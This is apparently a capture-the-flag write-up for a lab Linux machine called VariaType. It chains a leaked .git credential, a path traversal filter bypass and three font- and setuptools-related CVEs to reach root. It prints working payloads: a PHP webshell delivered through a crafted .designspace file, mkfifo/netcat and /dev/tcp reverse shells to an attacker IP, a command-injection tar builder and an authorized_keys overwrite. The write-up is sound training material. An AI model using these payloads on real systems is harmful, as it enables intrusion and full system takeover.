Introduction
VariaType is a Medium-rated Linux machine built around a font-generation platform. The attack chain involves:
- Discovering a
portal.variatype.htbsubdomain via vhost fuzzing - Finding an exposed
.gitdirectory on the portal and dumping it to recover hardcoded credentials from the commit history - Logging into the portal and exploiting a path traversal in
download.phpto read the Nginx config, revealing the web root - Using CVE-2025-66034 (fonttools
.designspacearbitrary file write) to drop a PHP reverse shell into the/filesdirectory and land aswww-data - Using
pspyto catch a cron job wheresteverunsfontforgeagainst files in the upload directory - Crafting a malicious
poc.tarto exploit CVE-2024-25082 (fontforge command injection via malformed archive filenames) and pivot tosteve - Abusing
sudoaccess toinstall_validator.pywhich callssetuptoolsPackageIndex.download(), exploiting CVE-2025-47273 (path traversal) to write an attacker-controlled public SSH key to/root/.ssh/authorized_keys - SSH-ing in as root
Enumeration
Nmap Scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.9.19 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.9.19
Two ports open: 22 (OpenSSH 9.2) and 80 (Nginx 1.22.1). The HTTP server redirects to variatype.htb.
echo "10.129.9.19 variatype.htb" | sudo tee -a /etc/hosts
The site is a variable font generator — upload a .designspace file alongside TTF/OTF masters and it builds a variable font.
Virtual Host Enumeration
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-u http://variatype.htb \
-H "Host: FFUZ.variatype.htb" \
-fw 5
Breaking down every flag:
| Flag | What it does |
|---|---|
-w ... | Wordlist; FFUZ is the injection keyword |
-u http://variatype.htb | Target URL — the Host header carries the subdomain, not the URL |
-H "Host: FFUZ.variatype.htb" | Fuzzes the Host header instead of the URL path |
-fw 5 | Filter by word count — drops the generic “wrong vhost” response |
Result: portal → Status 200.
echo "10.129.9.19 portal.variatype.htb" | sudo tee -a /etc/hosts
Beginner tip:
-fw 5filters results by word count, dropping the generic “wrong vhost” response that always returns the same page. Any response with a different word count is a real hit. Always fuzz vhosts — a subdomain can host a completely different application with entirely different vulnerabilities.
Exposed .git Directory on portal.variatype.htb
Browsing to portal.variatype.htb shows a login page. Run dirsearch:
dirsearch -u http://portal.variatype.htb
Results: [301] /.git, [200] /auth.php, [403] /files/
Dump the repository with git-dumper:
git-dumper http://portal.variatype.htb/ .git
cd .git && git log
Two commits: 753b5f59 - fix: add gitbot user for automated validation pipeline and 5030e791 - feat: initial portal implementation.
Inspect what changed in the latest commit:
git show 753b5f5957f2020480a19bf29a0ebc80267a4a3d
The diff shows auth.php was updated to add:
$USERS = [
'gitbot' => 'G1tB0t_Acc3ss_2025!'
];
Credentials: gitbot:G1tB0t_Acc3ss_2025! — login works.
Beginner tip: An exposed
.gitdirectory is one of the most reliable findings in web enumeration. The actual files may be forbidden (403), but the git objects themselves are often fetchable.git-dumperreconstructs the full repo from those objects. Always check commit history — developers frequently commit secrets and then try (and fail) to remove them in a later commit.
Foothold — Part 1: Path Traversal to Nginx Config
The dashboard’s download action passes the filename as a f parameter to download.php:
GET /download.php?f=variabype_MBjg9OLBZRA.ttf HTTP/1.1
A naive traversal to /etc/passwd returns File not found — the filter strips ../. Bypass with doubled sequences: if the app strips one layer of ../, ....// collapses to a valid traversal after stripping.
GET /download.php?f=....//....//....//....//....//....//etc/passwd
This works. Now read the Nginx config:
GET /download.php?f=....//....//....//....//....//....//etc/nginx/nginx.conf
The main config includes site configs from /etc/nginx/sites-enabled/. Pull the portal config:
GET /download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb
Key lines:
root /var/www/portal.variatype.htb/public;
location /files/ {
autoindex off;
}
The /files/ directory is served directly from /var/www/portal.variatype.htb/public/files. No directory listing, but files are accessible by name — this is the write target for the CVE.
Beginner tip: Path traversal filters almost always have edge cases.
../blocked? Try....//,..%2f,%2e%2e/, or mixed encoding. The filter strips one pattern and leaves a valid traversal behind. Test methodically and enumerate the filter’s exact behavior before giving up.
Foothold — Part 2: CVE-2025-66034 — PHP Webshell as www-data
CVE-2025-66034 is an arbitrary file write in fonttools’ .designspace parser. The <variable-font filename="..."> attribute is used as the output path for the generated font with no sanitization — path traversal in the filename walks it into the web root.
Construct the malicious .designspace:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="Hack"
filename="../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Upload this .designspace alongside two dummy TTF files through the font generator. The portal dashboard confirms the build succeeded and the shell appears in the file list.
Test execution:
http://portal.variatype.htb/files/shell.php?cmd=id
Response: uid=33(www-data) gid=33(www-data)
Start a listener then trigger a reverse shell:
nc -lnvp 4444
http://portal.variatype.htb/files/shell.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/bash+-i+2>%261|nc+10.10.14.X+4444+>/tmp/f
Shell received as www-data.
Beginner tip: CVE-2025-66034 is a classic unsafe-path-in-output-filename bug. The parser trusts the
filenameattribute in the XML with no check that the path stays inside a safe directory. Path traversal sequences in the filename walk it right into the web root. The PHP payload goes into the font’s metadata fields, which the parser writes verbatim into the output file.
Lateral Movement — CVE-2024-25082: fontforge Command Injection to steve
Process Monitoring with pspy
cd /tmp && wget http://10.10.14.X:5000/pspy64s && chmod +x pspy64s && ./pspy64s
Every minute, UID 1000 (steve) runs /home/steve/bin/process_client_submissions.sh. That script loops over everything in /var/www/portal.variatype.htb/public/files and passes each filename to fontforge:
timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
..."
The filename is injected directly into the Python string via bash variable expansion with no quoting and no sanitization.
Exploiting CVE-2024-25082
When fontforge opens a .tar file, it extracts the archive and tries to open its entries. If an entry’s name contains shell metacharacters ($()), fontforge executes them.
Encode the reverse shell payload to avoid special character issues:
echo "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1" | base64
Build the malicious archive with the subshell as the entry name:
import tarfile
entry_name = r"$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQo= | base64 -d | bash)"
tarinfo = tarfile.TarInfo(name=entry_name)
tarinfo.size = 0
tarinfo.type = tarfile.REGTYPE
with tarfile.open("poc.tar", "w") as t:
t.addfile(tarinfo)
Transfer and generate the archive from inside the upload directory:
cd /var/www/portal.variatype.htb/public/files
wget http://10.10.14.X:7000/exploit.py
python3 exploit.py
Start a listener and wait for the cron job to fire:
nc -lnvp 4444
When fontforge hits poc.tar, it evaluates the subshell in the entry name. Shell received as steve.
id
# uid=1000(steve) gid=1000(steve)
✅ User flag captured. /home/steve/user.txt
Beginner tip:
pspyis essential when you land on a box without root. It lets you watch every process that spawns on the system in real time, including cron jobs running as other users. Once you see a cron running a script that touches attacker-controlled input, the next question is always: does the script handle that input safely? Here,$filegoes straight into a bash heredoc with no quoting, making the injected tar entry name execute as a shell command.
Privilege Escalation — CVE-2025-47273: setuptools Path Traversal to root
Enumeration
sudo -l
Result: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
The script downloads a plugin from a URL using setuptools.package_index.PackageIndex.download(), saving it to /opt/font-tools/validators. Check the installed setuptools version:
python3 -c "import setuptools; print(setuptools.__version__)"
Result: 78.1.0 — CVE-2025-47273 was fixed in 78.1.1.
PackageIndex.download() extracts the filename from the URL path to determine where to save the file. It doesn’t sanitize percent-encoded path separators, so %2f in the URL’s filename component decodes to /, traversing outside the intended directory.
Building the Exploit
Generate an SSH keypair:
ssh-keygen -t ed25519 -f ~/.ssh/variatype_root
Serve the public key from a minimal HTTP server that responds to any path:
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(open("/path/to/variatype_root.pub", "rb").read())
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
Run the validator script as root with the URL’s filename portion pointing at /root/.ssh/authorized_keys via percent-encoding:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://10.10.14.X:8000/%2f%2f%2froot%2f.ssh%2fauthorized_keys'
PackageIndex.download() decodes the path, resolves the filename to ///root/.ssh/authorized_keys, and writes the public key there. SSH in as root:
ssh -i ~/.ssh/variatype_root root@10.129.9.19
✅ Root flag captured. /root/root.txt
Beginner tip:
PackageIndex.download()uses the last path segment of the URL as the filename to save. The vulnerability is that it decodes percent-encoding before joining the path, so%2fbecomes/and lets you escape the target directory entirely. The script’s URL validation only checks the scheme and slash count, but never restricts where the file lands. Running it as root via sudo means whatever it writes, it writes as root.
Summary
| Stage | Technique | Key Tool |
|---|---|---|
| Recon | Virtual host fuzzing | ffuf |
| Credential leak | Exposed .git + commit history | git-dumper |
| Info disclosure | Path traversal filter bypass (....//) | Burp Suite |
| Foothold | CVE-2025-66034 — fonttools arbitrary file write | .designspace XML |
| Pivot | CVE-2024-25082 — fontforge tar command injection | pspy + exploit.py |
| PrivEsc | CVE-2025-47273 — setuptools percent-encoded path traversal | sudo + custom HTTP server |
Key Takeaways
| Concept | What it means |
|---|---|
| Virtual host fuzzing | One IP can serve many web apps distinguished by the Host header. Fuzzing for subdomains discovers apps that never appear in search engines or links. |
Exposed .git directory | When .git/ is accessible on a web server, the full repository history can be reconstructed — including secrets committed and “removed” in a later commit. |
| Path traversal filter bypass | Filters that strip ../ can be bypassed with doubled sequences like ....// which collapse into valid traversal after the filter runs. Always test variations when a naive payload fails. |
| CVE-2025-66034 (fonttools) | The .designspace parser trusts the filename attribute of <variable-font> as the output path without constraining it to a safe directory — arbitrary file write to the web root. |
| pspy | A Linux process monitor requiring no root privileges. Invaluable for catching cron jobs and background processes that interact with attacker-controlled files. |
| CVE-2024-25082 (fontforge) | fontforge evaluates shell metacharacters in tar entry names. A crafted .tar with a $() subshell as its entry name executes arbitrary commands as the user running fontforge. |
| CVE-2025-47273 (setuptools) | PackageIndex.download() decodes percent-encoded slashes in the URL filename segment before writing, allowing path traversal outside the intended destination. |
| sudo abuse | A script runnable as root via sudo is only as safe as its dependencies. A path traversal or command injection in any library it calls is a ready-made privilege escalation. |